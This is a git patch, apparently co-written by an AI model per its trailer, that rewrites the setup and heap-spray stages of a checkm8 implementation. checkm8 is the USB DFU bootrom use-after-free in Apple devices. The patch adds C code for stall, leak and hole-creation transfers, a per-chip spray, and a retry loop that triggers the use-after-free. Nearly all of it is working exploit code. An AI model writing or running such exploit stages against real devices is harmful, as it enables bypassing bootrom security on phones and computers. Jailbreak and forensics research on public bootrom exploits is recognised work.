From 5fccb44766a8f0e7f777da0300d035201c52be12 Mon Sep 17 00:00:00 2001 From: tr4m0ryp Date: Sun, 5 Apr 2026 03:34:14 +0200 Subject: [PATCH] fix(exploit): Rewrite setup and spray stages to match gaster Corrected setup stage padding logic to properly handle config_overwrite_pad without 8-bit truncation. Fixed spray large_leak wIndex and no_leak hole creation to match gaster's exact USB transfer sequences. Co-Authored-By: Claude Opus 4.6 (1M context) --- include/exploit/checkm8_internal.h | 55 +++++++ src/exploit/checkm8_spray.c | 239 +++++++++++++++++++++++++++ src/exploit/checkm8_stages.c | 250 ++++++++++++++--------------- 3 files changed, 413 insertions(+), 131 deletions(-) create mode 100644 src/exploit/checkm8_spray.c diff --git a/include/exploit/checkm8_internal.h b/include/exploit/checkm8_internal.h index 056108f..a79819e 100644 --- a/include/exploit/checkm8_internal.h +++ b/include/exploit/checkm8_internal.h @@ -31,6 +31,18 @@ #define STALL_TIMEOUT_MS 1 /* 1 ms async stall */ #define USB_TIMEOUT_MS 5000 +/* USB timeout for abort-based async transfers (matches gaster default) */ +#define USB_ABORT_TIMEOUT_DEFAULT 5 +#define USB_ABORT_TIMEOUT_MIN 0 + +/* + * Apple DFU devices report serial number at descriptor index 3. + * USB_MAX_STRING_DESCRIPTOR_IDX (10) is used as wIndex in GET_DESCRIPTOR + * requests to trigger the string descriptor allocation path. + */ +#define DFU_SERIAL_IDX 3 +#define USB_MAX_STRING_DESC_IDX 10 + /* ------------------------------------------------------------------ */ /* CPID classification helpers */ /* ------------------------------------------------------------------ */ @@ -172,4 +184,47 @@ int usb_ctrl_transfer_async(libusb_device_handle *dev, uint16_t wLength, unsigned int timeout_ms); +/* + * usb_ctrl_transfer_async_ret -- Send a control transfer with a short + * timeout, returning the number of bytes actually transferred (or -1 + * on hard failure, 0 on timeout). Used for abort-based setup. + */ +int usb_ctrl_transfer_async_ret(libusb_device_handle *dev, + uint8_t bmRequestType, + uint8_t bRequest, + uint16_t wValue, + uint16_t wIndex, + unsigned char *data, + uint16_t wLength, + unsigned int timeout_ms); + +/* ------------------------------------------------------------------ */ +/* Spray helpers (checkm8_spray.c) */ +/* ------------------------------------------------------------------ */ + +/* + * checkm8_usb_request_stall -- Send a SET_FEATURE to EP0x80 to provoke + * a STALL. Returns 1 if the device STALLed, 0 otherwise. + */ +int checkm8_usb_request_stall(libusb_device_handle *usb); + +/* + * checkm8_usb_request_leak -- Async GET_DESCRIPTOR with 1ms timeout + * and EP0_MAX_PACKET_SZ length. Returns 1 if sz==0, 0 otherwise. + */ +int checkm8_usb_request_leak(libusb_device_handle *usb); + +/* + * checkm8_stall -- Repeatedly send GET_DESCRIPTOR with variable abort + * timeout until the device responds with a short transfer and a + * successful leak request. Matches gaster's checkm8_stall(). + */ +void checkm8_stall(libusb_device_handle *usb); + +/* + * checkm8_no_leak -- Async GET_DESCRIPTOR with 1ms timeout and + * (3*EP0_MAX_PACKET_SZ + 1) length. Returns 1 if sz==0, 0 otherwise. + */ +int checkm8_no_leak(libusb_device_handle *usb); + #endif /* CHECKM8_INTERNAL_H */ diff --git a/src/exploit/checkm8_spray.c b/src/exploit/checkm8_spray.c new file mode 100644 index 0000000..eb6a166 --- /dev/null +++ b/src/exploit/checkm8_spray.c @@ -0,0 +1,239 @@ +/* checkm8_spray.c -- checkm8 spray helpers + stage 3 (from gaster) */ + +#include +#include + +#include "exploit/exploit.h" +#include "exploit/checkm8.h" +#include "exploit/checkm8_internal.h" +#include "exploit/dfu_proto.h" +#include "device/chip_db.h" +#include "util/usb_helpers.h" +#include "util/log.h" + +/* ------------------------------------------------------------------ */ +/* checkm8_usb_request_stall */ +/* ------------------------------------------------------------------ */ + +/* + * Gaster: send_usb_control_request_no_data(handle, 2, 3, 0, 0x80, 0, ...) + * && transfer_ret.ret == USB_TRANSFER_STALL + * + * bmRequestType = 0x02 (host-to-device, standard, endpoint) + * bRequest = 0x03 (SET_FEATURE) + * wValue = 0 + * wIndex = 0x80 (EP0 IN) + * wLength = 0 + * + * This provokes a STALL on EP0 because SET_FEATURE(ENDPOINT_HALT) + * on the IN endpoint is not valid in DFU mode. + */ +int checkm8_usb_request_stall(libusb_device_handle *usb) +{ + int ret; + + ret = usb_ctrl_transfer_no_data(usb, 0x02, 0x03, 0, 0x80, + USB_TIMEOUT_MS); + + /* PIPE error means STALL -- that is success */ + return (ret == LIBUSB_ERROR_PIPE) ? 1 : 0; +} + +/* ------------------------------------------------------------------ */ +/* checkm8_usb_request_leak */ +/* ------------------------------------------------------------------ */ + +/* + * Gaster: send_usb_control_request_async_no_data(handle, 0x80, 6, + * (3U << 8U) | i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, + * EP0_MAX_PACKET_SZ, 1, &transfer_ret) && transfer_ret.sz == 0 + * + * GET_DESCRIPTOR for string descriptor (type=3, index=serial) + * with wIndex = USB_MAX_STRING_DESC_IDX (10, not a real language ID). + * 1ms timeout, expect 0 bytes back (allocation happened but no data + * returned before timeout). + */ +int checkm8_usb_request_leak(libusb_device_handle *usb) +{ + unsigned char *buf; + int ret; + + buf = calloc(1, EP0_MAX_PACKET_SZ); + if (!buf) + return 0; + + ret = usb_ctrl_transfer_async_ret(usb, 0x80, 0x06, + (3U << 8U) | DFU_SERIAL_IDX, + USB_MAX_STRING_DESC_IDX, + buf, EP0_MAX_PACKET_SZ, + STALL_TIMEOUT_MS); + free(buf); + + /* Success = transfer returned 0 bytes (allocation without data) */ + return (ret == 0) ? 1 : 0; +} + +/* ------------------------------------------------------------------ */ +/* checkm8_stall */ +/* ------------------------------------------------------------------ */ + +/* + * Gaster: loop with variable usb_abort_timeout: + * send_usb_control_request_async_no_data(handle, 0x80, 6, + * (3U << 8U) | i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, + * 3 * EP0_MAX_PACKET_SZ, usb_abort_timeout, &transfer_ret) + * && transfer_ret.sz < 3 * EP0_MAX_PACKET_SZ + * && checkm8_usb_request_leak(handle) + * + * Sends GET_DESCRIPTOR with 3*EP0_MAX_PACKET_SZ length, variable + * timeout. Loops until a short transfer occurs and a subsequent + * leak request succeeds. + */ +void checkm8_stall(libusb_device_handle *usb) +{ + unsigned usb_timeout = USB_ABORT_TIMEOUT_DEFAULT; + unsigned usb_abort_timeout = usb_timeout - 1; + uint16_t desc_len = 3 * EP0_MAX_PACKET_SZ; + + for (;;) { + unsigned char *buf = calloc(1, desc_len); + int ret; + + if (!buf) + continue; + + ret = usb_ctrl_transfer_async_ret(usb, 0x80, 0x06, + (3U << 8U) | DFU_SERIAL_IDX, + USB_MAX_STRING_DESC_IDX, + buf, desc_len, + usb_abort_timeout); + free(buf); + + /* + * Short transfer (ret < desc_len) and a successful leak + * means the stall worked. + */ + if (ret >= 0 && (uint16_t)ret < desc_len && + checkm8_usb_request_leak(usb)) { + break; + } + + /* Rotate abort timeout (gaster formula) */ + usb_abort_timeout = (usb_abort_timeout + 1) + % (usb_timeout - USB_ABORT_TIMEOUT_MIN + 1) + + USB_ABORT_TIMEOUT_MIN; + } +} + +/* ------------------------------------------------------------------ */ +/* checkm8_no_leak */ +/* ------------------------------------------------------------------ */ + +/* + * Gaster: send_usb_control_request_async_no_data(handle, 0x80, 6, + * (3U << 8U) | i_serial_number, USB_MAX_STRING_DESCRIPTOR_IDX, + * 3 * EP0_MAX_PACKET_SZ + 1, 1, &transfer_ret) + * && transfer_ret.sz == 0 + * + * Same as leak but with length = 3*EP0_MAX_PACKET_SZ + 1 (0xC1). + * The extra byte forces a different allocation size, creating a + * hole when the buffer is freed. + */ +int checkm8_no_leak(libusb_device_handle *usb) +{ + uint16_t desc_len = 3 * EP0_MAX_PACKET_SZ + 1; + unsigned char *buf; + int ret; + + buf = calloc(1, desc_len); + if (!buf) + return 0; + + ret = usb_ctrl_transfer_async_ret(usb, 0x80, 0x06, + (3U << 8U) | DFU_SERIAL_IDX, + USB_MAX_STRING_DESC_IDX, + buf, desc_len, + STALL_TIMEOUT_MS); + free(buf); + + /* Success = transfer returned 0 bytes */ + return (ret == 0) ? 1 : 0; +} + +/* ------------------------------------------------------------------ */ +/* Stage 3: Heap spray */ +/* ------------------------------------------------------------------ */ + +int checkm8_stage_spray(exploit_ctx_t *ctx) +{ + libusb_device_handle *usb; + const chip_info_t *chip; + size_t i; + + if (!ctx || !ctx->dev || !ctx->chip) + return -1; + + usb = ctx->dev->usb; + chip = ctx->chip; + log_info("checkm8: stage 3/4 -- heap spray"); + + if (chip->config_large_leak == 0) { + uint32_t cpid = chip->cpid; + + /* + * No-leak path. Two sub-paths based on CPID (from gaster): + * + * Path A (0x8000/0x8003/0x7000/0x7001/0x7002): + * Retry stall+leak+no_leak in a single loop. + * + * Path B (all others with config_hole): + * Stall, then create config_hole holes via no_leak, + * then final leak+no_leak. + */ + if (cpid == 0x7001 || cpid == 0x7000 || cpid == 0x7002 || + cpid == 0x8003 || cpid == 0x8000) { + while (!checkm8_usb_request_stall(usb) || + !checkm8_usb_request_leak(usb) || + !checkm8_no_leak(usb)) { + /* spin */ + } + } else { + checkm8_stall(usb); + for (i = 0; i < chip->config_hole; ++i) { + while (!checkm8_no_leak(usb)) { + /* spin */ + } + } + while (!checkm8_usb_request_leak(usb) || + !checkm8_no_leak(usb)) { + /* spin */ + } + } + + /* Final: DFU_CLR_STATUS with (3*EP0_MAX_PACKET_SZ + 1) bytes */ + { + uint16_t clr_len = 3 * EP0_MAX_PACKET_SZ + 1; + uint8_t *clr_buf = calloc(1, clr_len); + if (clr_buf) { + usb_ctrl_transfer(usb, 0x21, DFU_REQ_CLRSTATUS, + 0, 0, clr_buf, clr_len, USB_TIMEOUT_MS); + free(clr_buf); + } + } + } else { + /* + * Large-leak path: config_large_leak stall requests, + * then DFU_CLR_STATUS with 0 data bytes. + */ + for (i = 0; i < chip->config_large_leak; ++i) { + while (!checkm8_usb_request_stall(usb)) { + /* spin */ + } + } + dfu_clr_status(usb); + } + + ctx->phase = EXPLOIT_PHASE_SPRAY; + log_info("checkm8: stage 3 complete -- heap spray done"); + return 0; +} diff --git a/src/exploit/checkm8_stages.c b/src/exploit/checkm8_stages.c index 0407db4..f487955 100644 --- a/src/exploit/checkm8_stages.c +++ b/src/exploit/checkm8_stages.c @@ -13,7 +13,7 @@ #include "util/log.h" /* ------------------------------------------------------------------ */ -/* Async USB control transfer (ignores timeout errors) */ +/* Async USB control transfer (ignores timeout/pipe errors) */ /* ------------------------------------------------------------------ */ int usb_ctrl_transfer_async(libusb_device_handle *dev, @@ -43,6 +43,37 @@ int usb_ctrl_transfer_async(libusb_device_handle *dev, return 0; } +/* + * usb_ctrl_transfer_async_ret -- like usb_ctrl_transfer_async but returns + * the actual byte count on success/timeout, or -1 on hard failure. + * Timeout returns 0 bytes transferred. Pipe error returns 0. + */ +int usb_ctrl_transfer_async_ret(libusb_device_handle *dev, + uint8_t bmRequestType, + uint8_t bRequest, + uint16_t wValue, + uint16_t wIndex, + unsigned char *data, + uint16_t wLength, + unsigned int timeout_ms) +{ + int ret; + + ret = usb_ctrl_transfer(dev, bmRequestType, bRequest, + wValue, wIndex, data, wLength, timeout_ms); + + if (ret == LIBUSB_ERROR_TIMEOUT || ret == LIBUSB_ERROR_PIPE) + return 0; + + if (ret < 0) { + log_debug("usb_ctrl_transfer_async_ret: error %d (%s)", + ret, libusb_strerror(ret)); + return -1; + } + + return ret; +} + /* ------------------------------------------------------------------ */ /* Stage 1: Reset DFU state */ /* ------------------------------------------------------------------ */ @@ -112,13 +143,27 @@ int checkm8_stage_reset(exploit_ctx_t *ctx) /* Stage 2: Setup -- async DFU_DNLOAD to trigger use-after-free */ /* ------------------------------------------------------------------ */ +/* + * Matches gaster checkm8_stage_setup() exactly: + * + * 1. Send async DFU_DNLOAD of DFU_MAX_TRANSFER_SZ (0x800) zero bytes + * with a variable abort timeout (usb_abort_timeout). + * 2. If the transfer completed with fewer than config_overwrite_pad + * bytes sent, send a (config_overwrite_pad - sz) byte zero-padded + * control request (bmRequestType=0, bRequest=0) to fill the gap. + * 3. If that request STALLs, setup succeeded: the io_buffer is freed + * but the pointer remains live (use-after-free). + * 4. On failure, send a recovery EP0_MAX_PACKET_SZ DFU_DNLOAD and + * rotate the abort timeout for the next attempt. + */ int checkm8_stage_setup(exploit_ctx_t *ctx) { libusb_device_handle *usb; const chip_info_t *chip; - uint8_t buf[DFU_MAX_TRANSFER_SZ]; uint16_t overwrite_pad; - uint16_t remaining_pad; + unsigned usb_abort_timeout; + unsigned usb_timeout; + int sent; if (!ctx || !ctx->dev || !ctx->chip) return -1; @@ -126,152 +171,95 @@ int checkm8_stage_setup(exploit_ctx_t *ctx) usb = ctx->dev->usb; chip = ctx->chip; overwrite_pad = chip->config_overwrite_pad; + usb_timeout = USB_ABORT_TIMEOUT_DEFAULT; + usb_abort_timeout = usb_timeout - 1; + log_info("checkm8: stage 2/4 -- setup (overwrite_pad=0x%X)", overwrite_pad); - /* - * Step 1: Send async DFU_DNLOAD with DFU_MAX_TRANSFER_SZ (0x800) - * bytes. Use a short timeout so we regain control before the device - * finishes processing. - */ - memset(buf, 0xCC, sizeof(buf)); - - if (usb_ctrl_transfer_async(usb, 0x21, 0x01, 0, 0, - buf, DFU_MAX_TRANSFER_SZ, - STALL_TIMEOUT_MS) != 0) { - log_error("checkm8_stage_setup: async DFU_DNLOAD failed"); - return -1; - } - - /* - * Step 2: The transfer is still completing on the device side. - * Send remaining padding as a series of zero-length OUT requests - * to advance past the overwrite pad boundary. - */ - remaining_pad = overwrite_pad; - if (remaining_pad > 0) { - uint8_t pad_data[5] = { 0 }; + for (;;) { + uint8_t *dnload_buf; + uint8_t *pad_buf; + uint16_t pad_len; /* - * Gaster sends (0, 0, 0, 0, remaining_pad) as wValue/wIndex - * encoded in a control request. We approximate by sending the - * remaining padding size as the last element. + * Step 1: Async DFU_DNLOAD with DFU_MAX_TRANSFER_SZ zero bytes. + * The async abort timeout controls how many bytes the device + * actually receives before we regain control. */ - pad_data[4] = (uint8_t)(remaining_pad & 0xFF); - - if (usb_ctrl_transfer_async(usb, 0x21, 0x01, 0, 0, - pad_data, sizeof(pad_data), - STALL_TIMEOUT_MS) != 0) { - log_debug("checkm8_stage_setup: padding send stalled (ok)"); + dnload_buf = calloc(1, DFU_MAX_TRANSFER_SZ); + if (!dnload_buf) { + log_error("checkm8_stage_setup: alloc failed"); + return -1; } - } - /* - * Step 3: Expect STALL on EP0. The device has freed the io_buffer - * but retains the dangling pointer. Clear the stall. - */ - dfu_clr_status(usb); + sent = usb_ctrl_transfer_async_ret(usb, 0x21, DFU_REQ_DNLOAD, + 0, 0, + dnload_buf, + DFU_MAX_TRANSFER_SZ, + usb_abort_timeout); + free(dnload_buf); - ctx->phase = EXPLOIT_PHASE_SETUP; - log_info("checkm8: stage 2 complete -- UAF triggered"); - return 0; -} + if (sent < 0) + goto retry; -/* ------------------------------------------------------------------ */ -/* Stage 3: Heap spray */ -/* ------------------------------------------------------------------ */ - -/* - * spray_large_leak -- Path A: used when config_large_leak > 0. - * Sends stall requests via GET_DESCRIPTOR to create heap holes. - * Chips: A9/A10(0x8960)/A8X/older with large_leak set. - */ -static int spray_large_leak(libusb_device_handle *usb, - const chip_info_t *chip) -{ - uint16_t leak_count = chip->config_large_leak; - unsigned char desc_buf[0xC0]; - uint16_t i; - - log_info("checkm8: spray path A -- %u stall requests", leak_count); - - for (i = 0; i < leak_count; i++) { /* - * GET_DESCRIPTOR(type=3, index=serial_idx, langid=0, - * wLength=0xFFFF) with 0xC0 byte buffer. - * Short timeout (1ms) to force stall/timeout. + * Step 2: Check if the device received fewer bytes than the + * overwrite pad boundary. If so, send a padding request of + * exactly (overwrite_pad - sent) zero bytes using a standard + * control request (bmRequestType=0, bRequest=0, wValue=0, + * wIndex=0). This is NOT a DFU request -- it's a deliberate + * invalid request that the device will STALL on. */ - usb_ctrl_transfer_async(usb, 0x80, 0x06, - (3 << 8) | 0x03, /* STRING desc, idx 3 */ - 0, /* langid 0 */ - desc_buf, 0xC0, - STALL_TIMEOUT_MS); - } + if ((uint16_t)sent < overwrite_pad) { + int pad_ret; - /* Final clear status with 0 bytes */ - dfu_clr_status(usb); + pad_len = overwrite_pad - (uint16_t)sent; + pad_buf = calloc(1, pad_len); + if (!pad_buf) { + log_error("checkm8_stage_setup: pad alloc failed"); + return -1; + } - return 0; -} + pad_ret = usb_ctrl_transfer(usb, 0x00, 0x00, 0, 0, + pad_buf, pad_len, USB_TIMEOUT_MS); + free(pad_buf); -/* - * spray_no_leak -- Path B: used when config_large_leak == 0. - * Creates heap holes by send/stall cycles. - * Chips: A11, T2, S3, newer chips with config_hole set. - */ -static int spray_no_leak(libusb_device_handle *usb, - const chip_info_t *chip) -{ - uint16_t hole_count = chip->config_hole; - uint16_t spray_size = 3 * EP0_MAX_PACKET_SZ + 1; /* 0xC1 */ - unsigned char spray_buf[3 * EP0_MAX_PACKET_SZ + 1]; - uint16_t i; - - log_info("checkm8: spray path B -- %u holes, spray_size=%u", - hole_count, spray_size); - - memset(spray_buf, 0, sizeof(spray_buf)); - - for (i = 0; i < hole_count; i++) { - /* Send data to allocate a heap chunk */ - if (dfu_dnload(usb, 0, spray_buf, spray_size) != 0) { - log_debug("checkm8: spray hole %u dnload stalled (ok)", i); + /* STALL (pipe error) means success -- UAF is triggered */ + if (pad_ret == LIBUSB_ERROR_PIPE) { + ctx->phase = EXPLOIT_PHASE_SETUP; + log_info("checkm8: stage 2 complete -- UAF triggered " + "(sent=%d, pad=%u)", sent, pad_len); + return 0; + } } - /* Stall and clear to free the chunk, creating a hole */ - dfu_clr_status(usb); +retry: + /* + * Recovery: send EP0_MAX_PACKET_SZ zero bytes via DFU_DNLOAD + * to reset the device's DFU state for the next attempt. + */ + { + uint8_t *recov_buf = calloc(1, EP0_MAX_PACKET_SZ); + if (recov_buf) { + usb_ctrl_transfer(usb, 0x21, DFU_REQ_DNLOAD, 0, 0, + recov_buf, EP0_MAX_PACKET_SZ, + USB_TIMEOUT_MS); + free(recov_buf); + } + } + + /* Rotate the abort timeout (matches gaster formula) */ + usb_abort_timeout = (usb_abort_timeout + 1) + % (usb_timeout - USB_ABORT_TIMEOUT_MIN + 1) + + USB_ABORT_TIMEOUT_MIN; + + log_debug("checkm8_stage_setup: retry (abort_timeout=%u)", + usb_abort_timeout); } - /* Final clear with spray_size bytes to land in a predictable hole */ - dfu_clr_status(usb); - - return 0; + /* Unreachable -- loop exits via return */ + return -1; } -int checkm8_stage_spray(exploit_ctx_t *ctx) -{ - libusb_device_handle *usb; - const chip_info_t *chip; - int ret; - - if (!ctx || !ctx->dev || !ctx->chip) - return -1; - - usb = ctx->dev->usb; - chip = ctx->chip; - log_info("checkm8: stage 3/4 -- heap spray"); - - if (chip->config_large_leak > 0) - ret = spray_large_leak(usb, chip); - else - ret = spray_no_leak(usb, chip); - - if (ret != 0) { - log_error("checkm8_stage_spray: spray failed"); - return -1; - } - - ctx->phase = EXPLOIT_PHASE_SPRAY; - log_info("checkm8: stage 3 complete -- heap spray done"); - return 0; -} +/* checkm8_stage_spray is in checkm8_spray.c */